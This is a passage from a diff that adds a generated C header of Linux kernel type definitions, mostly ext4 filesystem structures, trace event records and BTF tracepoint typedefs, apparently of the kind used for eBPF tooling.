REQ_OP_DRV_OUT = 35, + REQ_OP_LAST = 36, +}; + +enum stat_group { + STAT_READ = 0, + STAT_WRITE = 1, + STAT_DISCARD = 2, + STAT_FLUSH = 3, + NR_STAT_GROUPS = 4, +}; + +struct fid { + union { + struct { + u32 ino; + u32 gen; + u32 parent_ino; + u32 parent_gen; + } i32; + struct { + u32 block; + u16 partref; + u16 parent_partref; + u32 generation; + u32 parent_block; + u32 parent_generation; + } udf; + struct { + struct {} __empty_raw; + __u32 raw[0]; + }; + }; +}; + +struct dax_holder_operations { + int (*notify_failure)(struct dax_device *, u64, u64, int); +}; + +struct fs_error_report { + int error; + struct inode *inode; + struct super_block *sb; +}; + +struct constant_table { + const char *name; + int value; +}; + +struct ext4_allocation_request { + struct inode *inode; + unsigned int len; + ext4_lblk_t logical; + ext4_lblk_t lleft; + ext4_lblk_t lright; + ext4_fsblk_t goal; + ext4_fsblk_t pleft; + ext4_fsblk_t pright; + unsigned int flags; +}; + +struct ext4_map_blocks { + ext4_fsblk_t m_pblk; + ext4_lblk_t m_lblk; + unsigned int m_len; + unsigned int m_flags; +}; + +struct ext4_group_desc { + __le32 bg_block_bitmap_lo; + __le32 bg_inode_bitmap_lo; + __le32 bg_inode_table_lo; + __le16 bg_free_blocks_count_lo; + __le16 bg_free_inodes_count_lo; + __le16 bg_used_dirs_count_lo; + __le16 bg_flags; + __le32 bg_exclude_bitmap_lo; + __le16 bg_block_bitmap_csum_lo; + __le16 bg_inode_bitmap_csum_lo; + __le16 bg_itable_unused_lo; + __le16 bg_checksum; + __le32 bg_block_bitmap_hi; + __le32 bg_inode_bitmap_hi; + __le32 bg_inode_table_hi; + __le16 bg_free_blocks_count_hi; + __le16 bg_free_inodes_count_hi; + __le16 bg_used_dirs_count_hi; + __le16 bg_itable_unused_hi; + __le32 bg_exclude_bitmap_hi; + __le16 bg_block_bitmap_csum_hi; + __le16 bg_inode_bitmap_csum_hi; + __u32 bg_reserved; +}; + +struct ext4_inode { + __le16 i_mode; + __le16 i_uid; + __le32 i_size_lo; + __le32 i_atime; + __le32 i_ctime; + __le32 i_mtime; + __le32 i_dtime; + __le16 i_gid; + __le16 i_links_count; + __le32 i_blocks_lo; + __le32 i_flags; + union { + struct { + __le32 l_i_version; + } linux1; + struct { + __u32 h_i_translator; + } hurd1; + struct { + __u32 m_i_reserved1; + } masix1; + } osd1; + __le32 i_block[15]; + __le32 i_generation; + __le32 i_file_acl_lo; + __le32 i_size_high; + __le32 i_obso_faddr; + union { + struct { + __le16 l_i_blocks_high; + __le16 l_i_file_acl_high; + __le16 l_i_uid_high; + __le16 l_i_gid_high; + __le16 l_i_checksum_lo; + __le16 l_i_reserved; + } linux2; + struct { + __le16 h_i_reserved1; + __u16 h_i_mode_high; + __u16 h_i_uid_high; + __u16 h_i_gid_high; + __u32 h_i_author; + } hurd2; + struct { + __le16 h_i_reserved1; + __le16 m_i_file_acl_high; + __u32 m_i_reserved2[2]; + } masix2; + } osd2; + __le16 i_extra_isize; + __le16 i_checksum_hi; + __le32 i_ctime_extra; + __le32 i_mtime_extra; + __le32 i_atime_extra; + __le32 i_crtime; + __le32 i_crtime_extra; + __le32 i_version_hi; + __le32 i_projid; +}; + +enum { + ES_WRITTEN_B = 0, + ES_UNWRITTEN_B = 1, + ES_DELAYED_B = 2, + ES_HOLE_B = 3, + ES_REFERENCED_B = 4, + ES_FLAGS = 5, +}; + +enum { + EXT4_FC_REASON_XATTR = 0, + EXT4_FC_REASON_CROSS_RENAME = 1, + EXT4_FC_REASON_JOURNAL_FLAG_CHANGE = 2, + EXT4_FC_REASON_NOMEM = 3, + EXT4_FC_REASON_SWAP_BOOT = 4, + EXT4_FC_REASON_RESIZE = 5, + EXT4_FC_REASON_RENAME_DIR = 6, + EXT4_FC_REASON_FALLOC_RANGE = 7, + EXT4_FC_REASON_INODE_JOURNAL_DATA = 8, + EXT4_FC_REASON_ENCRYPTED_FILENAME = 9, + EXT4_FC_REASON_MAX = 10, +}; + +enum ext4_journal_trigger_type { + EXT4_JTR_ORPHAN_FILE = 0, + EXT4_JTR_NONE = 1, +}; + +struct ext4_locality_group { + struct mutex lg_mutex; + struct list_head lg_prealloc_list[10]; + spinlock_t lg_prealloc_lock; +}; + +enum { + EXT4_MF_MNTDIR_SAMPLED = 0, + EXT4_MF_FS_ABORTED = 1, + EXT4_MF_FC_INELIGIBLE = 2, +}; + +struct ext4_lazy_init { + long unsigned int li_state; + struct list_head li_request_list; + struct mutex li_list_mtx; +}; + +struct partial_cluster { + ext4_fsblk_t pclu; + ext4_lblk_t lblk; + enum { + initial = 0, + tofree = 1, + nofree = 2, + } state; +}; + +struct ext4_journal_cb_entry { + struct list_head jce_list; + void (*jce_func)(struct super_block *, struct ext4_journal_cb_entry *, int); +}; + +struct ext4_prealloc_space { + union { + struct rb_node inode_node; + struct list_head lg_list; + } pa_node; + struct list_head pa_group_list; + union { + struct list_head pa_tmp_list; + struct callback_head pa_rcu; + } u; + spinlock_t pa_lock; + atomic_t pa_count; + unsigned int pa_deleted; + ext4_fsblk_t pa_pstart; + ext4_lblk_t pa_lstart; + ext4_grpblk_t pa_len; + ext4_grpblk_t pa_free; + short unsigned int pa_type; + union { + rwlock_t *inode_lock; + spinlock_t *lg_lock; + } pa_node_lock; + struct inode *pa_inode; +}; + +struct ext4_free_extent { + ext4_lblk_t fe_logical; + ext4_grpblk_t fe_start; + ext4_group_t fe_group; + ext4_grpblk_t fe_len; +}; + +struct ext4_allocation_context { + struct inode *ac_inode; + struct super_block *ac_sb; + struct ext4_free_extent ac_o_ex; + struct ext4_free_extent ac_g_ex; + struct ext4_free_extent ac_b_ex; + struct ext4_free_extent ac_f_ex; + __u32 ac_groups_considered; + __u32 ac_flags; + __u16 ac_groups_scanned; + __u16 ac_groups_linear_remaining; + __u16 ac_found; + __u16 ac_tail; + __u16 ac_buddy; + __u8 ac_status; + __u8 ac_criteria; + __u8 ac_2order; + __u8 ac_op; + struct page *ac_bitmap_page; + struct page *ac_buddy_page; + struct ext4_prealloc_space *ac_pa; + struct ext4_locality_group *ac_lg; +}; + +struct ext4_fsmap { + struct list_head fmr_list; + dev_t fmr_device; + uint32_t fmr_flags; + uint64_t fmr_physical; + uint64_t fmr_owner; + uint64_t fmr_length; +}; + +struct trace_event_raw_ext4_other_inode_update_time { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t orig_ino; + uid_t uid; + gid_t gid; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_free_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + uid_t uid; + gid_t gid; + __u64 blocks; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_request_inode { + struct trace_entry ent; + dev_t dev; + ino_t dir; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_allocate_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t dir; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_evict_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int nlink; + char __data[0]; +}; + +struct trace_event_raw_ext4_drop_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int drop; + char __data[0]; +}; + +struct trace_event_raw_ext4_nfs_commit_metadata { + struct trace_entry ent; + dev_t dev; + ino_t ino; + char __data[0]; +}; + +struct trace_event_raw_ext4_mark_inode_dirty { + struct trace_entry ent; + dev_t dev; + ino_t ino; + long unsigned int ip; + char __data[0]; +}; + +struct trace_event_raw_ext4_begin_ordered_truncate { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t new_size; + char __data[0]; +}; + +struct trace_event_raw_ext4__write_begin { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t pos; + unsigned int len; + char __data[0]; +}; + +struct trace_event_raw_ext4__write_end { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t pos; + unsigned int len; + unsigned int copied; + char __data[0]; +}; + +struct trace_event_raw_ext4_writepages { + struct trace_entry ent; + dev_t dev; + ino_t ino; + long int nr_to_write; + long int pages_skipped; + loff_t range_start; + loff_t range_end; + long unsigned int writeback_index; + int sync_mode; + char for_kupdate; + char range_cyclic; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_write_pages { + struct trace_entry ent; + dev_t dev; + ino_t ino; + long unsigned int first_page; + long int nr_to_write; + int sync_mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_write_pages_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 lblk; + __u32 len; + __u32 flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_writepages_result { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int ret; + int pages_written; + long int pages_skipped; + long unsigned int writeback_index; + int sync_mode; + char __data[0]; +}; + +struct trace_event_raw_ext4__page_op { + struct trace_entry ent; + dev_t dev; + ino_t ino; + long unsigned int index; + char __data[0]; +}; + +struct trace_event_raw_ext4_invalidate_folio_op { + struct trace_entry ent; + dev_t dev; + ino_t ino; + long unsigned int index; + size_t offset; + size_t length; + char __data[0]; +}; + +struct trace_event_raw_ext4_discard_blocks { + struct trace_entry ent; + dev_t dev; + __u64 blk; + __u64 count; + char __data[0]; +}; + +struct trace_event_raw_ext4__mb_new_pa { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 pa_pstart; + __u64 pa_lstart; + __u32 pa_len; + char __data[0]; +}; + +struct trace_event_raw_ext4_mb_release_inode_pa { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + __u32 count; + char __data[0]; +}; + +struct trace_event_raw_ext4_mb_release_group_pa { + struct trace_entry ent; + dev_t dev; + __u64 pa_pstart; + __u32 pa_len; + char __data[0]; +}; + +struct trace_event_raw_ext4_discard_preallocations { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int len; + unsigned int needed; + char __data[0]; +}; + +struct trace_event_raw_ext4_mb_discard_preallocations { + struct trace_entry ent; + dev_t dev; + int needed; + char __data[0]; +}; + +struct trace_event_raw_ext4_request_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int len; + __u32 logical; + __u32 lleft; + __u32 lright; + __u64 goal; + __u64 pleft; + __u64 pright; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_allocate_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + unsigned int len; + __u32 logical; + __u32 lleft; + __u32 lright; + __u64 goal; + __u64 pleft; + __u64 pright; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_free_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + long unsigned int count; + int flags; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_sync_file_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t parent; + int datasync; + char __data[0]; +}; + +struct trace_event_raw_ext4_sync_file_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4_sync_fs { + struct trace_entry ent; + dev_t dev; + int wait; + char __data[0]; +}; + +struct trace_event_raw_ext4_alloc_da_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int data_blocks; + char __data[0]; +}; + +struct trace_event_raw_ext4_mballoc_alloc { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u32 orig_logical; + int orig_start; + __u32 orig_group; + int orig_len; + __u32 goal_logical; + int goal_start; + __u32 goal_group; + int goal_len; + __u32 result_logical; + int result_start; + __u32 result_group; + int result_len; + __u16 found; + __u16 groups; + __u16 buddy; + __u16 flags; + __u16 tail; + __u8 cr; + char __data[0]; +}; + +struct trace_event_raw_ext4_mballoc_prealloc { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u32 orig_logical; + int orig_start; + __u32 orig_group; + int orig_len; + __u32 result_logical; + int result_start; + __u32 result_group; + int result_len; + char __data[0]; +}; + +struct trace_event_raw_ext4__mballoc { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int result_start; + __u32 result_group; + int result_len; + char __data[0]; +}; + +struct trace_event_raw_ext4_forget { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + int is_metadata; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_update_reserve_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 i_blocks; + int used_blocks; + int reserved_data_blocks; + int quota_claim; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_reserve_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 i_blocks; + int reserved_data_blocks; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_release_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 i_blocks; + int freed_blocks; + int reserved_data_blocks; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4__bitmap_load { + struct trace_entry ent; + dev_t dev; + __u32 group; + char __data[0]; +}; + +struct trace_event_raw_ext4_read_block_bitmap_load { + struct trace_entry ent; + dev_t dev; + __u32 group; + bool prefetch; + char __data[0]; +}; + +struct trace_event_raw_ext4__fallocate_mode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t offset; + loff_t len; + int mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_fallocate_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t pos; + unsigned int blocks; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4_unlink_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t parent; + loff_t size; + char __data[0]; +}; + +struct trace_event_raw_ext4_unlink_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4__truncate { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 blocks; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_convert_to_initialized_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t m_lblk; + unsigned int m_len; + ext4_lblk_t u_lblk; + unsigned int u_len; + ext4_fsblk_t u_pblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_convert_to_initialized_fastpath { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t m_lblk; + unsigned int m_len; + ext4_lblk_t u_lblk; + unsigned int u_len; + ext4_fsblk_t u_pblk; + ext4_lblk_t i_lblk; + unsigned int i_len; + ext4_fsblk_t i_pblk; + char __data[0]; +}; + +struct trace_event_raw_ext4__map_blocks_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + unsigned int len; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4__map_blocks_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int flags; + ext4_fsblk_t pblk; + ext4_lblk_t lblk; + unsigned int len; + unsigned int mflags; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_load_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_fsblk_t pblk; + ext4_lblk_t lblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_load_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + char __data[0]; +}; + +struct trace_event_raw_ext4_journal_start_sb { + struct trace_entry ent; + dev_t dev; + long unsigned int ip; + int blocks; + int rsv_blocks; + int revoke_creds; + int type; + char __data[0]; +}; + +struct trace_event_raw_ext4_journal_start_inode { + struct trace_entry ent; + long unsigned int ino; + dev_t dev; + long unsigned int ip; + int blocks; + int rsv_blocks; + int revoke_creds; + int type; + char __data[0]; +}; + +struct trace_event_raw_ext4_journal_start_reserved { + struct trace_entry ent; + dev_t dev; + long unsigned int ip; + int blocks; + char __data[0]; +}; + +struct trace_event_raw_ext4__trim { + struct trace_entry ent; + int dev_major; + int dev_minor; + __u32 group; + int start; + int len; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_handle_unwritten_extents { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int flags; + ext4_lblk_t lblk; + ext4_fsblk_t pblk; + unsigned int len; + unsigned int allocated; + ext4_fsblk_t newblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_get_implied_cluster_alloc_exit { + struct trace_entry ent; + dev_t dev; + unsigned int flags; + ext4_lblk_t lblk; + ext4_fsblk_t pblk; + unsigned int len; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_show_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_fsblk_t pblk; + ext4_lblk_t lblk; + short unsigned int len; + char __data[0]; +}; + +struct trace_event_raw_ext4_remove_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t from; + ext4_lblk_t to; + ext4_fsblk_t ee_pblk; + ext4_lblk_t ee_lblk; + short unsigned int ee_len; + ext4_fsblk_t pc_pclu; + ext4_lblk_t pc_lblk; + int pc_state; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_rm_leaf { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t start; + ext4_lblk_t ee_lblk; + ext4_fsblk_t ee_pblk; + short int ee_len; + ext4_fsblk_t pc_pclu; + ext4_lblk_t pc_lblk; + int pc_state; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_rm_idx { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_fsblk_t pblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_remove_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t start; + ext4_lblk_t end; + int depth; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_remove_space_done { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t start; + ext4_lblk_t end; + int depth; + ext4_fsblk_t pc_pclu; + ext4_lblk_t pc_lblk; + int pc_state; + short unsigned int eh_entries; + char __data[0]; +}; + +struct trace_event_raw_ext4__es_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_remove_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t lblk; + loff_t len; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_find_extent_range_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_find_extent_range_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_lookup_extent_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_lookup_extent_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + int found; + char __data[0]; +}; + +struct trace_event_raw_ext4__es_shrink_enter { + struct trace_entry ent; + dev_t dev; + int nr_to_scan; + int cache_cnt; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_shrink_scan_exit { + struct trace_entry ent; + dev_t dev; + int nr_shrunk; + int cache_cnt; + char __data[0]; +}; + +struct trace_event_raw_ext4_collapse_range { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t offset; + loff_t len; + char __data[0]; +}; + +struct trace_event_raw_ext4_insert_range { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t offset; + loff_t len; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_shrink { + struct trace_entry ent; + dev_t dev; + int nr_shrunk; + long long unsigned int scan_time; + int nr_skipped; + int retried; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_insert_delayed_block { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + bool allocated; + char __data[0]; +}; + +struct trace_event_raw_ext4_fsmap_class { + struct trace_entry ent; + dev_t dev; + dev_t keydev; + u32 agno; + u64 bno; + u64 len; + u64 owner; + char __data[0]; +}; + +struct trace_event_raw_ext4_getfsmap_class { + struct trace_entry ent; + dev_t dev; + dev_t keydev; + u64 block; + u64 len; + u64 owner; + u64 flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_shutdown { + struct trace_entry ent; + dev_t dev; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_error { + struct trace_entry ent; + dev_t dev; + const char *function; + unsigned int line; + char __data[0]; +}; + +struct trace_event_raw_ext4_prefetch_bitmaps { + struct trace_entry ent; + dev_t dev; + __u32 group; + __u32 next; + __u32 ios; + char __data[0]; +}; + +struct trace_event_raw_ext4_lazy_itable_init { + struct trace_entry ent; + dev_t dev; + __u32 group; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_replay_scan { + struct trace_entry ent; + dev_t dev; + int error; + int off; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_replay { + struct trace_entry ent; + dev_t dev; + int tag; + int ino; + int priv1; + int priv2; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_commit_start { + struct trace_entry ent; + dev_t dev; + tid_t tid; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_commit_stop { + struct trace_entry ent; + dev_t dev; + int nblks; + int reason; + int num_fc; + int num_fc_ineligible; + int nblks_agg; + tid_t tid; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_stats { + struct trace_entry ent; + dev_t dev; + unsigned int fc_ineligible_rc[10]; + long unsigned int fc_commits; + long unsigned int fc_ineligible_commits; + long unsigned int fc_numblks; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_track_dentry { + struct trace_entry ent; + dev_t dev; + tid_t t_tid; + ino_t i_ino; + tid_t i_sync_tid; + int error; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_track_inode { + struct trace_entry ent; + dev_t dev; + tid_t t_tid; + ino_t i_ino; + tid_t i_sync_tid; + int error; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_track_range { + struct trace_entry ent; + dev_t dev; + tid_t t_tid; + ino_t i_ino; + tid_t i_sync_tid; + long int start; + long int end; + int error; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_cleanup { + struct trace_entry ent; + dev_t dev; + int j_fc_off; + int full; + tid_t tid; + char __data[0]; +}; + +struct trace_event_raw_ext4_update_sb { + struct trace_entry ent; + dev_t dev; + ext4_fsblk_t fsblk; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_data_offsets_ext4_other_inode_update_time {}; + +struct trace_event_data_offsets_ext4_free_inode {}; + +struct trace_event_data_offsets_ext4_request_inode {}; + +struct trace_event_data_offsets_ext4_allocate_inode {}; + +struct trace_event_data_offsets_ext4_evict_inode {}; + +struct trace_event_data_offsets_ext4_drop_inode {}; + +struct trace_event_data_offsets_ext4_nfs_commit_metadata {}; + +struct trace_event_data_offsets_ext4_mark_inode_dirty {}; + +struct trace_event_data_offsets_ext4_begin_ordered_truncate {}; + +struct trace_event_data_offsets_ext4__write_begin {}; + +struct trace_event_data_offsets_ext4__write_end {}; + +struct trace_event_data_offsets_ext4_writepages {}; + +struct trace_event_data_offsets_ext4_da_write_pages {}; + +struct trace_event_data_offsets_ext4_da_write_pages_extent {}; + +struct trace_event_data_offsets_ext4_writepages_result {}; + +struct trace_event_data_offsets_ext4__page_op {}; + +struct trace_event_data_offsets_ext4_invalidate_folio_op {}; + +struct trace_event_data_offsets_ext4_discard_blocks {}; + +struct trace_event_data_offsets_ext4__mb_new_pa {}; + +struct trace_event_data_offsets_ext4_mb_release_inode_pa {}; + +struct trace_event_data_offsets_ext4_mb_release_group_pa {}; + +struct trace_event_data_offsets_ext4_discard_preallocations {}; + +struct trace_event_data_offsets_ext4_mb_discard_preallocations {}; + +struct trace_event_data_offsets_ext4_request_blocks {}; + +struct trace_event_data_offsets_ext4_allocate_blocks {}; + +struct trace_event_data_offsets_ext4_free_blocks {}; + +struct trace_event_data_offsets_ext4_sync_file_enter {}; + +struct trace_event_data_offsets_ext4_sync_file_exit {}; + +struct trace_event_data_offsets_ext4_sync_fs {}; + +struct trace_event_data_offsets_ext4_alloc_da_blocks {}; + +struct trace_event_data_offsets_ext4_mballoc_alloc {}; + +struct trace_event_data_offsets_ext4_mballoc_prealloc {}; + +struct trace_event_data_offsets_ext4__mballoc {}; + +struct trace_event_data_offsets_ext4_forget {}; + +struct trace_event_data_offsets_ext4_da_update_reserve_space {}; + +struct trace_event_data_offsets_ext4_da_reserve_space {}; + +struct trace_event_data_offsets_ext4_da_release_space {}; + +struct trace_event_data_offsets_ext4__bitmap_load {}; + +struct trace_event_data_offsets_ext4_read_block_bitmap_load {}; + +struct trace_event_data_offsets_ext4__fallocate_mode {}; + +struct trace_event_data_offsets_ext4_fallocate_exit {}; + +struct trace_event_data_offsets_ext4_unlink_enter {}; + +struct trace_event_data_offsets_ext4_unlink_exit {}; + +struct trace_event_data_offsets_ext4__truncate {}; + +struct trace_event_data_offsets_ext4_ext_convert_to_initialized_enter {}; + +struct trace_event_data_offsets_ext4_ext_convert_to_initialized_fastpath {}; + +struct trace_event_data_offsets_ext4__map_blocks_enter {}; + +struct trace_event_data_offsets_ext4__map_blocks_exit {}; + +struct trace_event_data_offsets_ext4_ext_load_extent {}; + +struct trace_event_data_offsets_ext4_load_inode {}; + +struct trace_event_data_offsets_ext4_journal_start_sb {}; + +struct trace_event_data_offsets_ext4_journal_start_inode {}; + +struct trace_event_data_offsets_ext4_journal_start_reserved {}; + +struct trace_event_data_offsets_ext4__trim {}; + +struct trace_event_data_offsets_ext4_ext_handle_unwritten_extents {}; + +struct trace_event_data_offsets_ext4_get_implied_cluster_alloc_exit {}; + +struct trace_event_data_offsets_ext4_ext_show_extent {}; + +struct trace_event_data_offsets_ext4_remove_blocks {}; + +struct trace_event_data_offsets_ext4_ext_rm_leaf {}; + +struct trace_event_data_offsets_ext4_ext_rm_idx {}; + +struct trace_event_data_offsets_ext4_ext_remove_space {}; + +struct trace_event_data_offsets_ext4_ext_remove_space_done {}; + +struct trace_event_data_offsets_ext4__es_extent {}; + +struct trace_event_data_offsets_ext4_es_remove_extent {}; + +struct trace_event_data_offsets_ext4_es_find_extent_range_enter {}; + +struct trace_event_data_offsets_ext4_es_find_extent_range_exit {}; + +struct trace_event_data_offsets_ext4_es_lookup_extent_enter {}; + +struct trace_event_data_offsets_ext4_es_lookup_extent_exit {}; + +struct trace_event_data_offsets_ext4__es_shrink_enter {}; + +struct trace_event_data_offsets_ext4_es_shrink_scan_exit {}; + +struct trace_event_data_offsets_ext4_collapse_range {}; + +struct trace_event_data_offsets_ext4_insert_range {}; + +struct trace_event_data_offsets_ext4_es_shrink {}; + +struct trace_event_data_offsets_ext4_es_insert_delayed_block {}; + +struct trace_event_data_offsets_ext4_fsmap_class {}; + +struct trace_event_data_offsets_ext4_getfsmap_class {}; + +struct trace_event_data_offsets_ext4_shutdown {}; + +struct trace_event_data_offsets_ext4_error {}; + +struct trace_event_data_offsets_ext4_prefetch_bitmaps {}; + +struct trace_event_data_offsets_ext4_lazy_itable_init {}; + +struct trace_event_data_offsets_ext4_fc_replay_scan {}; + +struct trace_event_data_offsets_ext4_fc_replay {}; + +struct trace_event_data_offsets_ext4_fc_commit_start {}; + +struct trace_event_data_offsets_ext4_fc_commit_stop {}; + +struct trace_event_data_offsets_ext4_fc_stats {}; + +struct trace_event_data_offsets_ext4_fc_track_dentry {}; + +struct trace_event_data_offsets_ext4_fc_track_inode {}; + +struct trace_event_data_offsets_ext4_fc_track_range {}; + +struct trace_event_data_offsets_ext4_fc_cleanup {}; + +struct trace_event_data_offsets_ext4_update_sb {}; + +typedef void (*btf_trace_ext4_other_inode_update_time)(void *, struct inode *, ino_t); + +typedef void (*btf_trace_ext4_free_inode)(void *, struct inode *); + +typedef void (*btf_trace_ext4_request_inode)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_allocate_inode)(void *, struct inode *, struct inode *, int); + +typedef void (*btf_trace_ext4_evict_inode)(void *, struct inode *); + +typedef void (*btf_trace_ext4_drop_inode)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_nfs_commit_metadata)(void *, struct inode *); + +typedef void (*btf_trace_ext4_mark_inode_dirty)(void *, struct inode *, long unsigned int); + +typedef void (*btf_trace_ext4_begin_ordered_truncate)(void *, struct inode *, loff_t); + +typedef void (*btf_trace_ext4_write_begin)(void *, struct inode *, loff_t, unsigned int); + +typedef void (*btf_trace_ext4_da_write_begin)(void *, struct inode *, loff_t, unsigned int); + +typedef void (*btf_trace_ext4_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_journalled_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_da_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_writepages)(void *, struct inode *, struct writeback_control *); + +typedef void (*btf_trace_ext4_da_write_pages)(void *, struct inode *, long unsigned int, struct writeback_control *); + +typedef void (*btf_trace_ext4_da_write_pages_extent)(void *, struct inode *, struct ext4_map_blocks *); + +typedef void (*btf_trace_ext4_writepages_result)(void *, struct inode *, struct writeback_control *, int, int); + +typedef void (*btf_trace_ext4_readpage)(void *, struct page *); + +typedef void (*btf_trace_ext4_releasepage)(void *, struct page *); + +typedef void (*btf_trace_ext4_invalidate_folio)(void *, struct folio *, size_t, size_t); + +typedef void (*btf_trace_ext4_journalled_invalidate_folio)(void *, struct folio *, size_t, size_t); + +typedef void (*btf_trace_ext4_discard_blocks)(void *, struct super_block *, long long unsigned int, long long unsigned int); + +typedef void 